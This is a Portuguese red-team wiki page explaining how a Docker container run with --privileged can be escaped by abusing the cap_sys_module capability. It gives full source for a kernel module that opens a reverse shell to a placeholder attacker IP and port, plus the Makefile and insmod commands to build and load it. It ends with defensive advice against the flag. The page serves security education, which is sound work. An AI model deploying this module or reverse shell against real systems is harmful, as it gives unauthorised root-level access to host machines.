> For the complete documentation index, see [llms.txt](https://vida03.gitbook.io/redteam/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vida03.gitbook.io/redteam/docker/docker-breakout/privileged-flag.md).

# privileged flag

## Apresentação

Quando um contêiner é executado usando a flag **--privileged**, esse contêiner possui mais **capabilities**, e com isso podemos atacar esse contêiner e conseguir acesso ao host.

## Capabilities

As capabilities representam a capacidade de um processo acessar um certo recurso, limitando ou disponibilizando tal permissão, por exemplo, a capabilitie **cap\_sys\_module** tem permissão de carregar módulos de kernel no linux.

## Recon

Para ver as capabilities que o contêiner tem acesso podemos utilizar o seguinte comando

```
capsh --print
```

Caso não exista esse comando no contêiner, você pode instalar ele, no meu caso vou usar o utilitário de gerenciamento de pacotes **APK** do alpine

```
apk add -U libcap
```

Irei mostrar o resultado em dois contêiners, um possui a flag. **--privileged** setada e o outro não

<figure><img src="/files/ZL282Zh1JdqRNVbXoB3Q" alt=""><figcaption><p>Without privileged tag</p></figcaption></figure>

<figure><img src="/files/CRNHAQKaDEdNup8O1G31" alt=""><figcaption><p>With privileged tag</p></figcaption></figure>

Circulei os 3 capabilities perigosos

* cap\_sys\_module
* cap\_sys\_ptrace
* cap\_sys\_admin

Irei mostrar a exploração através do **cap\_sys\_module**, vamos simplesmente pegar um módulo de kernel que faça uma reverse shell e carregar esse módulo no docker que consequetemente ele irá carregar no host, assim a gente irá pegar revshell no host.

Vamos criar esse arquivo chamado "**priv.c**"

```
#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static char command[50] = "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1";

char* argv[] = {"/bin/bash","-c", command, NULL};
static char* envp[] = {"HOME=/",NULL};

static int __init connect_back_init(void) {

return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

}

static void __exit connect_back_exit(void){
printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);
```

Após isso vamos criar o "**Makefile**"

```
obj-m = priv.o
KVERSION = $(shell uname -r)
all:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean
```

Vamos compilar:

```
make
```

Após compilar teremos o arquivo **.ko**, vamos fazer o download dele no contêiner utilizando python3 no meu caso, após fazer o download, siga os comandos

> chmod +x rev.ko && insmod rev.ko

Podemos verificar se o módulo foi carregado

<figure><img src="/files/y9qpxOZQ6FzKTiV5FLwJ" alt=""><figcaption></figcaption></figure>

Após isso só verificar o nosso listener

<figure><img src="/files/MfRMRGP9KliFh3YxBOiL" alt=""><figcaption></figcaption></figure>

## Conclusão

Não é uma boa prática utilizar a flag **--privileged**, caso usada o atacante pode mapear os capabilities disponíveis e utilizar eles para a escalação de privilégio, se for utilizar apenas por conta dos capabilities, olhe como gerenciar os capabilities [**aqui**](/redteam/docker/defenses/capabilities.md) sem a necessidade de usar a flag **privileged**.
